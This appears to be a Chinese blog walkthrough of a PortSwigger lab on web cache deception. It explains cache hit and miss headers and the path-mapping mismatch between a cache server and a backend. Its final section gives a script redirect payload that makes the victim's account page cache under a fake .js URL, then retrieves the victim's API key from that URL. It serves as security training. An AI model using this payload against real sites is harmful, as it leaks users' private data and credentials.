PortSwigger网络缓存欺骗(1)

实验:利用路径映射欺骗网页缓存

要完成这个实验,你需要知道:

  • 正则表达式端点如何将 URL 路径映射到资源。
  • 如何检测和利用缓存服务器和源服务器映射 URL 路径方式的差异。

使用以下凭据登录您自己的帐户wiener:peter

登录后便可以repeter账户页面

根据以下url请求开始测试

复制代码
/my-account
        ↓
/my-account/abc
        ↓
/my-account/abc.js

先发送正常请求

再发送对/my-account/abc的请求

之后可以发送对/my-account/abc.js的请求

可以发现出现两个非常关键的响应头Cache-Control和X-Cache

解释下

X-Cache: miss

miss 表示:

这次响应没有从缓存中拿,而是去后端服务器重新获取的。

可以理解成:

复制代码
浏览器
  │
  │ GET /my-account/abc.js
  ▼
CDN / 缓存服务器
  │
  │ 没找到缓存 → MISS
  ▼
后端服务器
  │
  │ 返回响应
  ▼
CDN缓存服务器
  │
  │ 把响应缓存起来
  ▼
浏览器

所以第一次访问的目的并不是攻击,而是建立基准

Cache-Control: max-age=30

这个响应头表示:

如果缓存服务器缓存了这个响应,那么它可以在 30 秒内直接使用这个缓存响应

所以:

复制代码
第一次请求
    ↓
MISS
    ↓
后端生成响应
    ↓
缓存服务器保存响应
    ↓
有效期 30 秒

这就给了我们一个实验条件:

30 秒内再次请求同一个缓存键,有可能不再访问后端,而直接拿缓存。

30 秒内再次发送

再次发送:

复制代码
GET /my-account/abc.js HTTP/1.1
Host: example.com

结果:

复制代码
X-Cache: hit

这非常关键。

hit 意味着:

这次响应直接来自缓存。

流程变成:

复制代码
浏览器
  │
  │ GET /my-account/abc.js
  ▼
缓存服务器
  │
  │ 找到之前缓存的结果
  │
  │ HIT
  ▼
直接返回缓存内容

后端甚至可能没有参与这次请求。

理解:为什么 /my-account/abc.js 会被缓存?

这里才是这个实验的核心。

正常情况下:

复制代码
/my-account/

明显是一个动态、私密页面

例如:

复制代码
GET /my-account/

可能返回:

复制代码
<h1>Welcome, Alice</h1>
<p>Email: alice@example.com</p>

这种内容通常不应该被公共缓存

但是你构造了:

复制代码
/my-account/abc.js

虽然实际上:

复制代码
/my-account/abc.js

并不一定真的存在。

问题在于:缓存服务器可能只看 URL 后缀

它可能看到:

复制代码
/my-account/abc.js
             ↑
           .js

然后认为:

.js 是静态资源,应该可以缓存。

于是缓存服务器按照类似这样的规则:

复制代码
如果 URL 以 .js 结尾
        ↓
认为是静态资源
        ↓
允许缓存

但是后端服务器怎么看?

后端服务器可能没有把:

复制代码
/my-account/abc.js

当成一个真正的 JavaScript 文件。

它可能通过路由机制把它解释成:

复制代码
/my-account/

或者:

复制代码
/my-account/xxx

也就是说:

缓存服务器和后端服务器对同一个 URL 的理解不一样

这是整个漏洞的关键。

可以画成:

复制代码
                /my-account/abc.js
                        │
             ┌──────────┴──────────┐
             │                     │
             ▼                     ▼
        缓存服务器              后端服务器
             │                     │
       看 URL 后缀              看应用路由
             │                     │
          .js文件              /my-account
             │                     │
             ▼                     ▼
         可以缓存              私人账户页面

于是出现了一个危险情况:

复制代码
缓存服务器:
/my-account/abc.js
       ↓
   静态 JS 文件
       ↓
     可以缓存

后端服务器:
/my-account/abc.js
       ↓
   /my-account
       ↓
   用户私人数据

++推理链++

复制代码
① /my-account/abc.js
        ↓
② 第一次请求
        ↓
③ X-Cache: miss
        ↓
④ Cache-Control: max-age=30
        ↓
⑤ 说明响应可以被缓存
        ↓
⑥ 30秒内再次请求
        ↓
⑦ X-Cache: hit
        ↓
⑧ 证明该 URL 已经进入缓存
        ↓
⑨ 为什么?
        ↓
⑩ 缓存可能根据 .js 判断它是静态资源
        ↓
⑪ 但后端可能把它当成 /my-account 动态页面
        ↓
⑫ 缓存层和后端对 URL 的解释产生差异
        ↓
⑬ 可能形成 Web Cache Deception

完成实验

点击go to exploit server 在body中插入我们想要对用户的网络欺骗代码(欺取缓存session后登入账户拿到专属api)

复制代码
<script>window.location="https://0aea003004e6a85b80a50863004900f5.web-security-academy.net/my-account/xzy.js"</script>

点击Deliver exploit to victim算是发送给用户

然后访问以下url

复制代码
https://0aea003004e6a85b80a50863004900f5.web-security-academy.net/my-account/xzy.js

获得用户的api key 将其复制提交至submit solution 即可

攻克工程极短 但是想要完全理解如何一步一步检测出缓存欺骗的可行性需要花些时间与理解

我的攻克过程没能完成hit 可以参考以下视频借鉴学习

https://www.youtube.com/watch?v=9kGF1O9jyaA

相关推荐
初願致夕霞2 小时前
《为什么公网访问不了内网?正向代理、内网穿透与 NAT 打洞一次说清》
linux·网络·tcp/ip·智能路由器
喜欢吃燃面2 小时前
Linux网络编程深度解析:从Socket API到自定义协议设计
linux·网络·arm开发
xxy222412 小时前
Linux 网络编程入门(一):从 OSI 模型到 TCP Socket 编程
网络·tcp/ip·tcp
消失的旧时光-19432 小时前
(KMP-Net进阶)第一篇:AppResult<T>——网络层到底应该 throw,还是返回统一 Result?
网络·ktor·kmp
网安蟹佬霸2 小时前
区块链与智能合约安全实战:从Solidity审计到DeFi漏洞深度剖析
运维·前端·网络·安全·自动化·区块链·智能合约
今夕资源网3 小时前
NapCatQQ:把最难接的 QQ 协议层,变成一组能直接调用的接口
网络·qq·napcat·napcatqq·q协议·qq协议
GuoFeng.Wan3 小时前
深入理解经典蓝牙的channel
linux·服务器·网络
影寂ldy4 小时前
C# WinForm TCP-Socket
网络·tcp/ip·c#